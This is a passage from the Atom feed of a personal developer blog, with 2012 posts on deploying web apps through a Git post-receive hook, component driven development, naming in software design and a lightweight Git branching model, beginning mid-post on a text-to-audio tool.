&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Sanitize markdown content&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$content&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;s/[\*_]//g&apos;&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$content&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;s/\[\(.*\)\](\(.*\))/\1/g&apos;&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$content&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;s/:[p|D]/./g&apos;&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For the other parts, you can take a look at &lt;a href=&quot;https://github.com/willdurand/Speaker/blob/master/speaker&quot;&gt;the
code&lt;/a&gt; :)&lt;/p&gt;

&lt;p&gt;Because I wanted to expose these audio files on this website, I tweaked the
template to integrate an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;audio&lt;/code&gt; tag. I also used
&lt;a href=&quot;https://github.com/etianen/html5media&quot;&gt;html5media&lt;/a&gt; to render this tag in all
major browsers (I don’t know if there is a better solution).&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;audio&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/mp3/my-blog-title.mp3&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;controls&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;preload&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/audio&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Last, to automagically generate audio files, I wrote a
&lt;a href=&quot;https://github.com/willdurand/Speaker/blob/master/hooks/pre-commit&quot;&gt;pre-commit&lt;/a&gt;
script to build the audio file when I commit blog posts.&lt;/p&gt;

&lt;p&gt;That’s all folks!&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>Deploying with Git</title>
        <link href="https://williamdurand.fr/2012/02/25/deploying-with-git/"/>
        <updated>2012-02-25T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2012/02/25/deploying-with-git</id>
        <content type="html">&lt;p&gt;I often rely on &lt;a href=&quot;https://github.com/capistrano/capistrano/wiki/&quot;&gt;Capistrano&lt;/a&gt; to
deploy web applications. I already talked about this tool in my previous blog.
In this article, I am going to describe a simpler approach to deploy simple
apps.&lt;/p&gt;

&lt;p&gt;When you need to deploy a simple web application on a server, like this blog for
instance, there is no need to use Capistrano or &lt;a href=&quot;https://docs.fabfile.org/&quot;&gt;Fabric&lt;/a&gt;. We mainly want a way
to copy a set of files and one could rely on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rsync&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scp&lt;/code&gt;… How boring!&lt;/p&gt;

&lt;p&gt;An alternative is to rely on &lt;strong&gt;Git&lt;/strong&gt;, assuming you are using it. But how?&lt;/p&gt;

&lt;p&gt;The first step is to configure the local repository by adding a new remote:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git remote add -t master production ssh://&amp;lt;server&amp;gt;/path/to/project_prod
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-t &amp;lt;branch&amp;gt;&lt;/code&gt; option allows to track a given branch instead of all branches.
You can add more remotes if you want, like a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testing&lt;/code&gt; remote for instance:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git remote add testing ssh://&amp;lt;server&amp;gt;/path/to/project_test
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To deploy the application to &lt;strong&gt;production&lt;/strong&gt;, run:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git push production
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To deploy the application to a &lt;strong&gt;testing&lt;/strong&gt; environment, run:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git push testing &amp;lt;branch&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;At the moment, you can push your code to your server but it won’t deploy your
changes. We need to configure Git. First, add the following lines to the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.git/config&lt;/code&gt; file:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-gitconfig&quot;&gt;[receive]
    denyCurrentBranch = false
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This allows to push code to the current branch, which is important to deploy
your new changes. Old Git versions don’t need to set this parameter by the way.&lt;/p&gt;

&lt;p&gt;Then, create and enable a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;post-receive&lt;/code&gt; hook with the following content:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;SUBJECT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Deploy successful&quot;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;BODY&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;You&apos;ve successfully deployed the branch:&quot;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;while &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;read &lt;/span&gt;oldrev newrev ref
&lt;span class=&quot;k&quot;&gt;do
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;branch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$ref&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;cut&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt;/ &lt;span class=&quot;nt&quot;&gt;-f3&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$branch&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then
        &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; ..
        &lt;span class=&quot;nb&quot;&gt;env&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; git checkout &lt;span class=&quot;nv&quot;&gt;$branch&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;env&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; git reset &lt;span class=&quot;nt&quot;&gt;--hard&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;EMAIL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;env&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; git log &lt;span class=&quot;nt&quot;&gt;-1&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--format&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;format:%ae HEAD&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;BODY&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BODY&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$branch&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.&quot;&lt;/span&gt;

        &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BODY&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; | mail &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$SUBJECT&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$EMAIL&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fi
done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This script updates the working tree after changes have been pushed, and send an
email to the last committer. Keep in mind that it always deploys the last branch
you push.&lt;/p&gt;

&lt;p&gt;The important part is:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; ..
&lt;span class=&quot;nb&quot;&gt;env&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; git checkout &lt;span class=&quot;nv&quot;&gt;$branch&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;env&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; git reset &lt;span class=&quot;nt&quot;&gt;--hard&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Feel free to “decorate” these three lines as you wish.&lt;/p&gt;

&lt;p&gt;For example, for the &lt;strong&gt;production&lt;/strong&gt; environment (or because you are using a &lt;a href=&quot;/2012/01/17/my-git-branching-model/&quot;&gt;Git
Branching Model&lt;/a&gt;), you should modify the
previous script to make sure that you only deploy the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;master&lt;/code&gt; branch:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$branch&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;master&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then
        &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; ..
        &lt;span class=&quot;c&quot;&gt;# env -i git checkout $branch&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;env&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; git reset &lt;span class=&quot;nt&quot;&gt;--hard&lt;/span&gt;

        &lt;span class=&quot;c&quot;&gt;# Send an email&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You’re done! Each time you’ll execute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git push production&lt;/code&gt;, you’ll deploy your
application to your production environment. Easy. Fast. Powerful.&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>Component Driven Development: it&apos;s like Lego!</title>
        <link href="https://williamdurand.fr/2012/02/01/component-driven-development-it-s-like-lego/"/>
        <updated>2012-02-01T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2012/02/01/component-driven-development-it-s-like-lego</id>
        <content type="html">&lt;p&gt;Did you ever hear about &lt;strong&gt;Component-Based Development&lt;/strong&gt;? Maybe about &lt;strong&gt;Component
Driven Development&lt;/strong&gt;? Both concepts are the same, and if you’ve worked with
&lt;em&gt;Symfony&lt;/em&gt;, &lt;em&gt;Spring&lt;/em&gt; or similar frameworks, then chances are you’ve already done
&lt;strong&gt;Component Driven Development&lt;/strong&gt; (&lt;strong&gt;CDD&lt;/strong&gt;).&lt;/p&gt;

&lt;p&gt;It’s all about &lt;strong&gt;separation of concerns&lt;/strong&gt;. You design components with their own
logic. Each component does &lt;strong&gt;one thing well&lt;/strong&gt; and &lt;strong&gt;only one thing&lt;/strong&gt; (that is
also the Unix philosophy). Separating business logic in self-contained
components requires to focus on interactions between components. In other words,
you have to think in terms of interfaces and boundaries.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Unified_Modeling_Language&quot;&gt;UML&lt;/a&gt; provides a &lt;strong&gt;component diagram&lt;/strong&gt; that allows you to easily identify the
components, interfaces and their relations. This could be a useful tool. In a
UML component diagram, a provided interface is modeled using the lollipop
notation and a required interface is modeled using the socket notation.&lt;/p&gt;

&lt;p class=&quot;with-caption can-invert-image-in-dark-mode&quot;&gt;&lt;img src=&quot;/images/posts/2012/02/compoent-diagram.webp&quot; alt=&quot;A simplified example of a component diagram&quot; /&gt;
&lt;em&gt;Simplified example of a UML component diagram&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;As I wrote previously, you are most likely already familiar with Component
Driven Development if you know &lt;em&gt;Symfony&lt;/em&gt; or &lt;em&gt;Spring&lt;/em&gt;. Why? Because these two
frameworks use the &lt;a href=&quot;https://martinfowler.com/bliki/InversionOfControl.html&quot;&gt;&lt;strong&gt;Inversion of Control&lt;/strong&gt;&lt;/a&gt; (IoC) architectural pattern
&lt;em&gt;via&lt;/em&gt; the &lt;strong&gt;Dependency Injection&lt;/strong&gt; design pattern (I consider IoC an
architectural pattern because it’s not a design pattern you can implement).&lt;/p&gt;

&lt;p&gt;There are two known issues with IoC, though. First, you need a way to manage
dependencies between components. Second, how do you instantiate all these
components (in which order for instance)? &lt;strong&gt;Dependency Injection Container&lt;/strong&gt;
(DIC) to the rescue! A (service) container requires some configuration that
essentially describes the dependencies between components. Checkout the &lt;a href=&quot;https://symfony.com/doc/current/components/dependency_injection.html&quot;&gt;Symfony
docs about Dependency Injection&lt;/a&gt; for more technical information.&lt;/p&gt;

&lt;p&gt;With that, the two issues I just mentioned are solved and you can now write
highly decoupled code. The main drawback is the time you’ll have to spend
thinking about your architecture and component interactions. This is where the
UML component diagram can be helpful ;-)&lt;/p&gt;

&lt;p&gt;Thanks to a framework that provides abstractions such as a DIC, you can start
“assembling” an app by reusing existing components (i.e. libraries) to avoid
writing everything from scratch. See why it is like Lego now?&lt;/p&gt;

&lt;p&gt;In the PHP world, we have magic tools like:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://fabien.potencier.org/what-is-symfony2.html&quot;&gt;The Symfony components&lt;/a&gt;: a reusable set of standalone PHP components&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://getcomposer.org/&quot;&gt;Composer&lt;/a&gt;: the awesome package manager for PHP&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://packagist.org/&quot;&gt;Packagist&lt;/a&gt;: the official registry to discover great PHP libraries&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Less time wasted writing “framework code”, more time spent writing
business-oriented code and “glue code” for the existing components you use
directly “as-is”, yay!&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>Designing software by naming things</title>
        <link href="https://williamdurand.fr/2012/01/24/designing-software-by-naming-things/"/>
        <updated>2012-01-24T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2012/01/24/designing-software-by-naming-things</id>
        <content type="html">&lt;blockquote&gt;
  &lt;p&gt;There are only two hard things in Computer Science: cache invalidation and
naming things.&lt;/p&gt;

  &lt;p&gt;&lt;em&gt;Phil Karlton&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Naming things&lt;/strong&gt; is hard, that’s right, but finding the &lt;strong&gt;right names&lt;/strong&gt; is even
harder!&lt;/p&gt;

&lt;p&gt;When I start the process of creating a new application, the first step is often
to rely on some sort of specifications, e.g., &lt;a href=&quot;http://en.wikipedia.org/wiki/Unified_Modeling_Language&quot;&gt;UML&lt;/a&gt; diagrams. This forces me
to think before to code, what a nice idea!&lt;/p&gt;

&lt;p&gt;A &lt;em&gt;class diagram&lt;/em&gt; is probably the most useful UML diagram. A first step could be
to find package names and see how I can connect them. This will give me the main
components of the application like the &lt;em&gt;controllers&lt;/em&gt;, &lt;em&gt;services&lt;/em&gt; or &lt;em&gt;models&lt;/em&gt; for
example. At this level, separating concerns is usually straightforward. The
&lt;em&gt;Model-View-Controller&lt;/em&gt; (MVC) design pattern is a great example.&lt;/p&gt;

&lt;p&gt;Once the main packages have been defined, I need to find class names. To help me
find the right names, I tend to identify &lt;strong&gt;interfaces&lt;/strong&gt; first. An interface
describes a contract between two components. Thinking in terms of interfaces
forces me to think about the interactions between components. Interface-based
programming is a nice way to design an application.&lt;/p&gt;

&lt;p&gt;My rule of thumb is: when I am not able to find a name for a class, I ask myself
whether this class makes sense, or if I can decouple things a bit more. A
“wrong” or “obscure” name often leads to errors. When I am not satisfied with
some naming, it is usually because something is not quite right and I try to
understand why.&lt;/p&gt;

&lt;p&gt;To get better at naming things, I take inspiration by reading good code. Thanks
to &lt;a href=&quot;http://www.github.com&quot;&gt;GitHub&lt;/a&gt;, it’s easy to find and read code written by talented folks. As a
PHP developer, I often use &lt;a href=&quot;http://www.github.com/symfony/symfony&quot;&gt;Symfony&lt;/a&gt; naming in my own projects.&lt;/p&gt;

&lt;p&gt;This is how I design software by naming things :)&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>My Git branching model</title>
        <link href="https://williamdurand.fr/2012/01/17/my-git-branching-model/"/>
        <updated>2012-01-17T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2012/01/17/my-git-branching-model</id>
        <content type="html">&lt;p&gt;We all probably know &lt;a href=&quot;http://nvie.com/posts/a-successful-git-branching-model/&quot;&gt;this successful Git branching
model&lt;/a&gt;, which looks like a very interesting model for
teams that want to use Git. That being said, this model is a bit too complex for
common needs in my opinion. In this article, I introduce my lightweight model.&lt;/p&gt;

&lt;p&gt;I use two main branches:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt; : the code in a &lt;em&gt;production-ready&lt;/em&gt; state;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;develop&lt;/code&gt; : the &lt;em&gt;integration branch&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p class=&quot;with-caption can-invert-image-in-dark-mode&quot;&gt;&lt;img src=&quot;/images/posts/2012/01/git-develop-main.webp&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Figure 1: Commits over time on two branches: “develop” and “main” (based on
Vincent Driessen’s similar illustration)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I also use &lt;strong&gt;feature branches&lt;/strong&gt;. A feature branch contains a work in progress.
Keep in mind that a feature branch should reflect a feature in your backlog. I
use a convention for these branches, I always prefix them with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;feat-&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ git branch
feat-my-feature
* main
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A feature branch has two constraints:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;the code must be based on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;develop&lt;/code&gt; branch;&lt;/li&gt;
  &lt;li&gt;the code must be merged in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;develop&lt;/code&gt; branch.&lt;/li&gt;
&lt;/ul&gt;

&lt;p class=&quot;with-caption can-invert-image-in-dark-mode&quot;&gt;&lt;img src=&quot;/images/posts/2012/01/git-feature-branch.webp&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Figure 2: A feature branch next based on the “develop” branch (based on Vincent
Driessen’s similar illustration)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;To create a feature branch, I use the following command:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ git checkout -b feat-my-feature develop
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To merge a feature branch into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;develop&lt;/code&gt;, I use the following set of commands:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Go back to the develop branch
$ git checkout develop

# Get last commits
$ git pull --ff-only origin develop

# Switch to the feature branch
$ git checkout feat-my-feature

# Time to rebase
$ git rebase develop

# Then, switch to the develop branch in order to merge the feature branch
$ git checkout develop

$ git merge --no-ff feat-my-feature

# Push
$ git push origin develop

# Finally, delete your branch
$ git branch -d feat-my-feature
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I always merge a feature branch into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;develop&lt;/code&gt; using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--no-ff&lt;/code&gt; to keep a clean
log:&lt;/p&gt;

&lt;p class=&quot;with-caption can-invert-image-in-dark-mode&quot;&gt;&lt;img src=&quot;/images/posts/2012/01/git-merge.webp&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Figure 3: The difference between &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git merge&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git merge --no-ff&lt;/code&gt; (based on
Vincent Driessen’s similar illustration)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--no--ff&lt;/code&gt; option allows to keep track of a feature branch name which is
quite useful. The following &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git log&lt;/code&gt; output shows you a feature branch merged
with this option:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;commit 481771556824c4ae2e6da73ef14d6ce757fb5870
Merge: 6abdd70 8cfe5a7
Author: William Durand &amp;lt;email address&amp;gt;
Date:   Tue Jan 17 11:31:56 2012 +0100

Merge branch &apos;feat-my-feature&apos; into develop

commit 8cfe5a7da159663cc09a850bee49a59ce046c67e
Author: William Durand &amp;lt;email address&amp;gt;
Date:   Tue Jan 17 11:31:19 2012 +0100

Added a new feature

commit 6abdd707aace50ee5aad72a3c6fcff2f36cdea7f
Author: William Durand &amp;lt;email address&amp;gt;
Date:   Sun May 15 14:07:19 2011 +0200

Initial commit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Without the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--no-ff&lt;/code&gt; option, you’ll get the following output:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;commit 0d5805d52e55e4941ce23585a4cd559e5e643207
Author: William Durand &amp;lt;email address&amp;gt;
Date:   Tue Jan 17 11:35:43 2012 +0100

Added yet another feature

commit 6abdd707aace50ee5aad72a3c6fcff2f36cdea7f
Author: William Durand &amp;lt;email address&amp;gt;
Date:   Sun May 15 14:07:19 2011 +0200

Initial commit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In a team, you will probably have more than one feature branch, and you could
have a dependency between two branches (this should be avoided). In this case,
I use another branch in which I merge two or more feature branches.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ git checkout -b feat-my-feature-with-another-feature develop
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then, I can merge the two feature branches, and solve possible conflicts:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ git merge feat-my-feature

$ git merge feat-another-feature
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I don’t use any other branches. The last part of the model is to merge &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;develop&lt;/code&gt;
into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt;. To avoid conflicts, there should be only one person who owns
this responsibility: the &lt;strong&gt;release manager&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;I experimented this model with different teams in terms of number of people and
skills, and I never had more needs. I know some people use &lt;strong&gt;release&lt;/strong&gt; branches
but it can be handled in another way.&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>Services status dashboard</title>
        <link href="https://williamdurand.fr/2012/01/16/services-status-dashboard/"/>
        <updated>2012-01-16T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2012/01/16/services-status-dashboard</id>
        <content type="html">&lt;p&gt;Today, I was looking for an Open Source alternative to
